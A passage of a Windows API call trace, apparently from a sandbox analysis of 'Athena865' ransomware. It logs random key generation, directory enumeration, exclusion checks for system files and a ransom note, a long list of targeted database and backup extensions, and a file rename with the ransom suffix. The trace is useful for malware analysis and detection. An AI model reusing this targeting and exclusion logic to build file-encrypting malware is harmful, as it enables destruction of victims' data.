dwMaximumSizeLow=0x500, lpName=0x0) returned 0x154 [0153.074] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000 [0153.075] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.076] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.076] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.076] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0153.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0153.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.076] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.077] CloseHandle (hObject=0x154) returned 1 [0153.077] CloseHandle (hObject=0x17c) returned 1 [0153.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.077] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7167100, ftCreationTime.dwHighDateTime=0x1c9d832, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7167100, ftLastWriteTime.dwHighDateTime=0x1c9d832, nFileSizeHigh=0x0, nFileSizeLow=0x2580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNote.gpd", cAlternateFileName="SENDTO~1.GPD")) returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="..") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="windows") returned -1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="bootmgr") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="temp") returned -1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="pagefile.sys") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="boot") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="ids.txt") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="ntuser.dat") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="perflogs") returned 1 [0153.077] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="MSBuild") returned 1 [0153.077] lstrlenW (lpString="SendToOneNote.gpd") returned 17 [0153.077] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SendToOneNote.gpd" | out: lpString1="SendToOneNote.gpd") returned="SendToOneNote.gpd" [0153.078] lstrlenW (lpString="SendToOneNote.gpd") returned 17 [0153.078] lstrlenW (lpString="Athena865") returned 9 [0153.078] lstrcmpiW (lpString1="eNote.gpd", lpString2="Athena865") returned 1 [0153.078] lstrlenW (lpString=".dll") returned 4 [0153.078] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".dll") returned 1 [0153.078] lstrlenW (lpString=".lnk") returned 4 [0153.078] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".lnk") returned 1 [0153.078] lstrlenW (lpString=".ini") returned 4 [0153.078] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".ini") returned 1 [0153.078] lstrlenW (lpString=".sys") returned 4 [0153.078] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".sys") returned 1 [0153.078] lstrlenW (lpString="SendToOneNote.gpd") returned 17 [0153.078] lstrlenW (lpString="bak") returned 3 [0153.078] lstrcmpiW (lpString1="gpd", lpString2="bak") returned 1 [0153.078] lstrlenW (lpString="ba_") returned 3 [0153.078] lstrcmpiW (lpString1="gpd", lpString2="ba_") returned 1 [0153.078] lstrlenW (lpString="dbb") returned 3 [0153.078] lstrcmpiW (lpString1="gpd", lpString2="dbb") returned 1 [0153.078] lstrlenW (lpString="vmdk") returned 4 [0153.078] lstrcmpiW (lpString1=".gpd", lpString2="vmdk") returned -1 [0153.078] lstrlenW (lpString="rar") returned 3 [0153.078] lstrcmpiW (lpString1="gpd", lpString2="rar") returned -1 [0153.078] lstrlenW (lpString="zip") returned 3 [0153.078] lstrcmpiW (lpString1="gpd", lpString2="zip") returned -1 [0153.078] lstrlenW (lpString="tgz") returned 3 [0153.078] lstrcmpiW (lpString1="gpd", lpString2="tgz") returned -1 [0153.078] lstrlenW (lpString="vbox") returned 4 [0153.078] lstrcmpiW (lpString1=".gpd", lpString2="vbox") returned -1 [0153.079] lstrlenW (lpString="vdi") returned 3 [0153.079] lstrcmpiW (lpString1="gpd", lpString2="vdi") returned -1 [0153.079] lstrlenW (lpString="vhd") returned 3 [0153.079] lstrcmpiW (lpString1="gpd", lpString2="vhd") returned -1 [0153.079] lstrlenW (lpString="vhdx") returned 4 [0153.079] lstrcmpiW (lpString1=".gpd", lpString2="vhdx") returned -1 [0153.079] lstrlenW (lpString="avhd") returned 4 [0153.079] lstrcmpiW (lpString1=".gpd", lpString2="avhd") returned -1 [0153.079] lstrlenW (lpString="db") returned 2 [0153.079] lstrcmpiW (lpString1="pd", lpString2="db") returned 1 [0153.079] lstrlenW (lpString="db2") returned 3 [0153.079] lstrcmpiW (lpString1="gpd", lpString2="db2") returned 1 [0153.079] lstrlenW (lpString="db3") returned 3 [0153.079] lstrcmpiW (lpString1="gpd", lpString2="db3") returned 1 [0153.079] lstrlenW (lpString="dbf") returned 3 [0153.079] lstrcmpiW (lpString1="gpd", lpString2="dbf") returned 1 [0153.079] lstrlenW (lpString="mdf") returned 3 [0153.079] lstrcmpiW (lpString1="gpd", lpString2="mdf") returned -1 [0153.079] lstrlenW (lpString="mdb") returned 3 [0153.079] lstrcmpiW (lpString1="gpd", lpString2="mdb") returned -1 [0153.079] lstrlenW (lpString="sql") returned 3 [0153.079] lstrcmpiW (lpString1="gpd", lpString2="sql") returned -1 [0153.079] lstrlenW (lpString="sqlite") returned 6 [0153.079] lstrcmpiW (lpString1="te.gpd", lpString2="sqlite") returned 1 [0153.079] lstrlenW (lpString="sqlite3") returned 7 [0153.079] lstrcmpiW (lpString1="ote.gpd", lpString2="sqlite3") returned -1 [0153.079] lstrlenW (lpString="sqlitedb") returned 8 [0153.079] lstrcmpiW (lpString1="Note.gpd", lpString2="sqlitedb") returned -1 [0153.080] lstrlenW (lpString="xml") returned 3 [0153.080] lstrcmpiW (lpString1="gpd", lpString2="xml") returned -1 [0153.080] lstrlenW (lpString="$er") returned 3 [0153.080] lstrcmpiW (lpString1="gpd", lpString2="$er") returned 1 [0153.080] lstrlenW (lpString="4dd") returned 3 [0153.080] lstrcmpiW (lpString1="gpd", lpString2="4dd") returned 1 [0153.080] lstrlenW (lpString="4dl") returned 3 [0153.080] lstrcmpiW (lpString1="gpd", lpString2="4dl") returned 1 [0153.080] lstrlenW (lpString="^^^") returned 3 [0153.080] lstrcmpiW (lpString1="gpd", lpString2="^^^") returned 1 [0153.080] lstrlenW (lpString="abs") returned 3 [0153.080] lstrcmpiW (lpString1="gpd", lpString2="abs") returned 1 [0153.080] lstrlenW (lpString="abx") returned 3 [0153.080] lstrcmpiW (lpString1="gpd", lpString2="abx") returned 1 [0153.080] lstrlenW (lpString="accdb") returned 5 [0153.080] lstrcmpiW (lpString1="e.gpd", lpString2="accdb") returned 1 [0153.080] lstrlenW (lpString="accdc") returned 5 [0153.080] lstrcmpiW (lpString1="e.gpd", lpString2="accdc") returned 1 [0153.080] lstrlenW (lpString="accde") returned 5 [0153.080] lstrcmpiW (lpString1="e.gpd", lpString2="accde") returned 1 [0153.080] lstrlenW (lpString="accdr") returned 5 [0153.080] lstrcmpiW (lpString1="e.gpd", lpString2="accdr") returned 1 [0153.080] lstrlenW (lpString="accdt") returned 5 [0153.080] lstrcmpiW (lpString1="e.gpd", lpString2="accdt") returned 1 [0153.080] lstrlenW (lpString="accdw") returned 5 [0153.080] lstrcmpiW (lpString1="e.gpd", lpString2="accdw") returned 1 [0153.080] lstrlenW (lpString="accft") returned 5 [0153.080] lstrcmpiW (lpString1="e.gpd", lpString2="accft") returned 1 [0153.081] lstrlenW (lpString="adb") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="adb") returned 1 [0153.081] lstrlenW (lpString="adb") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="adb") returned 1 [0153.081] lstrlenW (lpString="ade") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="ade") returned 1 [0153.081] lstrlenW (lpString="adf") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="adf") returned 1 [0153.081] lstrlenW (lpString="adn") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="adn") returned 1 [0153.081] lstrlenW (lpString="adp") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="adp") returned 1 [0153.081] lstrlenW (lpString="alf") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="alf") returned 1 [0153.081] lstrlenW (lpString="ask") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="ask") returned 1 [0153.081] lstrlenW (lpString="btr") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="btr") returned 1 [0153.081] lstrlenW (lpString="cat") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="cat") returned 1 [0153.081] lstrlenW (lpString="cdb") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="cdb") returned 1 [0153.081] lstrlenW (lpString="ckp") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="ckp") returned 1 [0153.081] lstrlenW (lpString="cma") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="cma") returned 1 [0153.081] lstrlenW (lpString="cpd") returned 3 [0153.081] lstrcmpiW (lpString1="gpd", lpString2="cpd") returned 1 [0153.081] lstrlenW (lpString="dacpac") returned 6 [0153.082] lstrcmpiW (lpString1="te.gpd", lpString2="dacpac") returned 1 [0153.082] lstrlenW (lpString="dad") returned 3 [0153.082] lstrcmpiW (lpString1="gpd", lpString2="dad") returned 1 [0153.082] lstrlenW (lpString="dadiagrams") returned 10 [0153.082] lstrcmpiW (lpString1="neNote.gpd", lpString2="dadiagrams") returned 1 [0153.082] lstrlenW (lpString="daschema") returned 8 [0153.082] lstrcmpiW (lpString1="Note.gpd", lpString2="daschema") returned 1 [0153.082] lstrlenW (lpString="db-journal") returned 10 [0153.082] lstrcmpiW (lpString1="neNote.gpd", lpString2="db-journal") returned 1 [0153.082] lstrlenW (lpString="db-shm") returned 6 [0153.082] lstrcmpiW (lpString1="te.gpd", lpString2="db-shm") returned 1 [0153.082] lstrlenW (lpString="db-wal") returned 6 [0153.082] lstrcmpiW (lpString1="te.gpd", lpString2="db-wal") returned 1 [0153.082] lstrlenW (lpString="dbc") returned 3 [0153.082] lstrcmpiW (lpString1="gpd", lpString2="dbc") returned 1 [0153.082] lstrlenW (lpString="dbs") returned 3 [0153.082] lstrcmpiW (lpString1="gpd", lpString2="dbs") returned 1 [0153.082] lstrlenW (lpString="dbt") returned 3 [0153.082] lstrcmpiW (lpString1="gpd", lpString2="dbt") returned 1 [0153.082] lstrlenW (lpString="dbv") returned 3 [0153.082] lstrcmpiW (lpString1="gpd", lpString2="dbv") returned 1 [0153.082] lstrlenW (lpString="dbx") returned 3 [0153.082] lstrcmpiW (lpString1="gpd", lpString2="dbx") returned 1 [0153.082] lstrlenW (lpString="dcb") returned 3 [0153.082] lstrcmpiW (lpString1="gpd", lpString2="dcb") returned 1 [0153.082] lstrlenW (lpString="dct") returned 3 [0153.082] lstrcmpiW (lpString1="gpd", lpString2="dct") returned 1 [0153.082] lstrlenW (lpString="dcx") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="dcx") returned 1 [0153.083] lstrlenW (lpString="ddl") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="ddl") returned 1 [0153.083] lstrlenW (lpString="dlis") returned 4 [0153.083] lstrcmpiW (lpString1=".gpd", lpString2="dlis") returned -1 [0153.083] lstrlenW (lpString="dp1") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="dp1") returned 1 [0153.083] lstrlenW (lpString="dqy") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="dqy") returned 1 [0153.083] lstrlenW (lpString="dsk") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="dsk") returned 1 [0153.083] lstrlenW (lpString="dsn") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="dsn") returned 1 [0153.083] lstrlenW (lpString="dtsx") returned 4 [0153.083] lstrcmpiW (lpString1=".gpd", lpString2="dtsx") returned -1 [0153.083] lstrlenW (lpString="dxl") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="dxl") returned 1 [0153.083] lstrlenW (lpString="eco") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="eco") returned 1 [0153.083] lstrlenW (lpString="ecx") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="ecx") returned 1 [0153.083] lstrlenW (lpString="edb") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="edb") returned 1 [0153.083] lstrlenW (lpString="epim") returned 4 [0153.083] lstrcmpiW (lpString1=".gpd", lpString2="epim") returned -1 [0153.083] lstrlenW (lpString="fcd") returned 3 [0153.083] lstrcmpiW (lpString1="gpd", lpString2="fcd") returned 1 [0153.084] lstrlenW (lpString="fdb") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fdb") returned 1 [0153.084] lstrlenW (lpString="fic") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fic") returned 1 [0153.084] lstrlenW (lpString="flexolibrary") returned 12 [0153.084] lstrcmpiW (lpString1="oOneNote.gpd", lpString2="flexolibrary") returned 1 [0153.084] lstrlenW (lpString="fm5") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fm5") returned 1 [0153.084] lstrlenW (lpString="fmp") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fmp") returned 1 [0153.084] lstrlenW (lpString="fmp12") returned 5 [0153.084] lstrcmpiW (lpString1="e.gpd", lpString2="fmp12") returned -1 [0153.084] lstrlenW (lpString="fmpsl") returned 5 [0153.084] lstrcmpiW (lpString1="e.gpd", lpString2="fmpsl") returned -1 [0153.084] lstrlenW (lpString="fol") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fol") returned 1 [0153.084] lstrlenW (lpString="fp3") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fp3") returned 1 [0153.084] lstrlenW (lpString="fp4") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fp4") returned 1 [0153.084] lstrlenW (lpString="fp5") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fp5") returned 1 [0153.084] lstrlenW (lpString="fp7") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fp7") returned 1 [0153.084] lstrlenW (lpString="fpt") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="fpt") returned 1 [0153.084] lstrlenW (lpString="frm") returned 3 [0153.084] lstrcmpiW (lpString1="gpd", lpString2="frm") returned 1 [0153.085] lstrlenW (lpString="gdb") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="gdb") returned 1 [0153.085] lstrlenW (lpString="gdb") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="gdb") returned 1 [0153.085] lstrlenW (lpString="grdb") returned 4 [0153.085] lstrcmpiW (lpString1=".gpd", lpString2="grdb") returned -1 [0153.085] lstrlenW (lpString="gwi") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="gwi") returned -1 [0153.085] lstrlenW (lpString="hdb") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="hdb") returned -1 [0153.085] lstrlenW (lpString="his") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="his") returned -1 [0153.085] lstrlenW (lpString="ib") returned 2 [0153.085] lstrcmpiW (lpString1="pd", lpString2="ib") returned 1 [0153.085] lstrlenW (lpString="idb") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="idb") returned -1 [0153.085] lstrlenW (lpString="ihx") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="ihx") returned -1 [0153.085] lstrlenW (lpString="itdb") returned 4 [0153.085] lstrcmpiW (lpString1=".gpd", lpString2="itdb") returned -1 [0153.085] lstrlenW (lpString="itw") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="itw") returned -1 [0153.085] lstrlenW (lpString="jet") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="jet") returned -1 [0153.085] lstrlenW (lpString="jtx") returned 3 [0153.085] lstrcmpiW (lpString1="gpd", lpString2="jtx") returned -1 [0153.085] lstrlenW (lpString="kdb") returned 3 [0153.086] lstrcmpiW (lpString1="gpd", lpString2="kdb") returned -1 [0153.086] lstrlenW (lpString="kexi") returned 4 [0153.086] lstrcmpiW (lpString1=".gpd", lpString2="kexi") returned -1 [0153.086] lstrlenW (lpString="kexic") returned 5 [0153.086] lstrcmpiW (lpString1="e.gpd", lpString2="kexic") returned -1 [0153.086] lstrlenW (lpString="kexis") returned 5 [0153.086] lstrcmpiW (lpString1="e.gpd", lpString2="kexis") returned -1 [0153.086] lstrlenW (lpString="lgc") returned 3 [0153.086] lstrcmpiW (lpString1="gpd", lpString2="lgc") returned -1 [0153.086] lstrlenW (lpString="lwx") returned 3 [0153.086] lstrcmpiW (lpString1="gpd", lpString2="lwx") returned -1 [0153.086] lstrlenW (lpString="maf") returned 3 [0153.086] lstrcmpiW (lpString1="gpd", lpString2="maf") returned -1 [0153.086] lstrlenW (lpString="maq") returned 3 [0153.086] lstrcmpiW (lpString1="gpd", lpString2="maq") returned -1 [0153.086] lstrlenW (lpString="mar") returned 3 [0153.086] lstrcmpiW (lpString1="gpd", lpString2="mar") returned -1 [0153.086] lstrlenW (lpString="marshal") returned 7 [0153.086] lstrcmpiW (lpString1="ote.gpd", lpString2="marshal") returned 1 [0153.086] lstrlenW (lpString="mas") returned 3 [0153.086] lstrcmpiW (lpString1="gpd", lpString2="mas") returned -1 [0153.086] lstrlenW (lpString="mav") returned 3 [0153.086] lstrcmpiW (lpString1="gpd", lpString2="mav") returned -1 [0153.086] lstrlenW (lpString="maw") returned 3 [0153.086] lstrcmpiW (lpString1="gpd", lpString2="maw") returned -1 [0153.086] lstrlenW (lpString="mdbhtml") returned 7 [0153.086] lstrcmpiW (lpString1="ote.gpd", lpString2="mdbhtml") returned 1 [0153.087] lstrlenW (lpString="mdn") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="mdn") returned -1 [0153.087] lstrlenW (lpString="mdt") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="mdt") returned -1 [0153.087] lstrlenW (lpString="mfd") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="mfd") returned -1 [0153.087] lstrlenW (lpString="mpd") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="mpd") returned -1 [0153.087] lstrlenW (lpString="mrg") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="mrg") returned -1 [0153.087] lstrlenW (lpString="mud") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="mud") returned -1 [0153.087] lstrlenW (lpString="mwb") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="mwb") returned -1 [0153.087] lstrlenW (lpString="myd") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="myd") returned -1 [0153.087] lstrlenW (lpString="ndf") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="ndf") returned -1 [0153.087] lstrlenW (lpString="nnt") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="nnt") returned -1 [0153.087] lstrlenW (lpString="nrmlib") returned 6 [0153.087] lstrcmpiW (lpString1="te.gpd", lpString2="nrmlib") returned 1 [0153.087] lstrlenW (lpString="ns2") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="ns2") returned -1 [0153.087] lstrlenW (lpString="ns3") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="ns3") returned -1 [0153.087] lstrlenW (lpString="ns4") returned 3 [0153.087] lstrcmpiW (lpString1="gpd", lpString2="ns4") returned -1 [0153.087] lstrlenW (lpString="nsf") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="nsf") returned -1 [0153.088] lstrlenW (lpString="nv") returned 2 [0153.088] lstrcmpiW (lpString1="pd", lpString2="nv") returned 1 [0153.088] lstrlenW (lpString="nv2") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="nv2") returned -1 [0153.088] lstrlenW (lpString="nwdb") returned 4 [0153.088] lstrcmpiW (lpString1=".gpd", lpString2="nwdb") returned -1 [0153.088] lstrlenW (lpString="nyf") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="nyf") returned -1 [0153.088] lstrlenW (lpString="odb") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="odb") returned -1 [0153.088] lstrlenW (lpString="odb") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="odb") returned -1 [0153.088] lstrlenW (lpString="oqy") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="oqy") returned -1 [0153.088] lstrlenW (lpString="ora") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="ora") returned -1 [0153.088] lstrlenW (lpString="orx") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="orx") returned -1 [0153.088] lstrlenW (lpString="owc") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="owc") returned -1 [0153.088] lstrlenW (lpString="p96") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="p96") returned -1 [0153.088] lstrlenW (lpString="p97") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="p97") returned -1 [0153.088] lstrlenW (lpString="pan") returned 3 [0153.088] lstrcmpiW (lpString1="gpd", lpString2="pan") returned -1 [0153.088] lstrlenW (lpString="pdb") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="pdb") returned -1 [0153.089] lstrlenW (lpString="pdm") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="pdm") returned -1 [0153.089] lstrlenW (lpString="pnz") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="pnz") returned -1 [0153.089] lstrlenW (lpString="qry") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="qry") returned -1 [0153.089] lstrlenW (lpString="qvd") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="qvd") returned -1 [0153.089] lstrlenW (lpString="rbf") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="rbf") returned -1 [0153.089] lstrlenW (lpString="rctd") returned 4 [0153.089] lstrcmpiW (lpString1=".gpd", lpString2="rctd") returned -1 [0153.089] lstrlenW (lpString="rod") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="rod") returned -1 [0153.089] lstrlenW (lpString="rodx") returned 4 [0153.089] lstrcmpiW (lpString1=".gpd", lpString2="rodx") returned -1 [0153.089] lstrlenW (lpString="rpd") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="rpd") returned -1 [0153.089] lstrlenW (lpString="rsd") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="rsd") returned -1 [0153.089] lstrlenW (lpString="sas7bdat") returned 8 [0153.089] lstrcmpiW (lpString1="Note.gpd", lpString2="sas7bdat") returned -1 [0153.089] lstrlenW (lpString="sbf") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="sbf") returned -1 [0153.089] lstrlenW (lpString="scx") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="scx") returned -1 [0153.089] lstrlenW (lpString="sdb") returned 3 [0153.089] lstrcmpiW (lpString1="gpd", lpString2="sdb") returned -1 [0153.090] lstrlenW (lpString="sdc") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="sdc") returned -1 [0153.090] lstrlenW (lpString="sdf") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="sdf") returned -1 [0153.090] lstrlenW (lpString="sis") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="sis") returned -1 [0153.090] lstrlenW (lpString="spq") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="spq") returned -1 [0153.090] lstrlenW (lpString="te") returned 2 [0153.090] lstrcmpiW (lpString1="pd", lpString2="te") returned -1 [0153.090] lstrlenW (lpString="teacher") returned 7 [0153.090] lstrcmpiW (lpString1="ote.gpd", lpString2="teacher") returned -1 [0153.090] lstrlenW (lpString="tmd") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="tmd") returned -1 [0153.090] lstrlenW (lpString="tps") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="tps") returned -1 [0153.090] lstrlenW (lpString="trc") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="trc") returned -1 [0153.090] lstrlenW (lpString="trc") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="trc") returned -1 [0153.090] lstrlenW (lpString="trm") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="trm") returned -1 [0153.090] lstrlenW (lpString="udb") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="udb") returned -1 [0153.090] lstrlenW (lpString="udl") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="udl") returned -1 [0153.090] lstrlenW (lpString="usr") returned 3 [0153.090] lstrcmpiW (lpString1="gpd", lpString2="usr") returned -1 [0153.091] lstrlenW (lpString="v12") returned 3 [0153.091] lstrcmpiW (lpString1="gpd", lpString2="v12") returned -1 [0153.091] lstrlenW (lpString="vis") returned 3 [0153.091] lstrcmpiW (lpString1="gpd", lpString2="vis") returned -1 [0153.091] lstrlenW (lpString="vpd") returned 3 [0153.091] lstrcmpiW (lpString1="gpd", lpString2="vpd") returned -1 [0153.091] lstrlenW (lpString="vvv") returned 3 [0153.091] lstrcmpiW (lpString1="gpd", lpString2="vvv") returned -1 [0153.091] lstrlenW (lpString="wdb") returned 3 [0153.091] lstrcmpiW (lpString1="gpd", lpString2="wdb") returned -1 [0153.091] lstrlenW (lpString="wmdb") returned 4 [0153.091] lstrcmpiW (lpString1=".gpd", lpString2="wmdb") returned -1 [0153.091] lstrlenW (lpString="wrk") returned 3 [0153.091] lstrcmpiW (lpString1="gpd", lpString2="wrk") returned -1 [0153.091] lstrlenW (lpString="xdb") returned 3 [0153.091] lstrcmpiW (lpString1="gpd", lpString2="xdb") returned -1 [0153.091] lstrlenW (lpString="xld") returned 3 [0153.091] lstrcmpiW (lpString1="gpd", lpString2="xld") returned -1 [0153.091] lstrlenW (lpString="xmlff") returned 5 [0153.091] lstrcmpiW (lpString1="e.gpd", lpString2="xmlff") returned -1 [0153.091] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd.Athena865") returned 78 [0153.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd.athena865"), dwFlags=0x1) returned 1 [0153.093] CreateFileW (lpFileName="C:\\Program 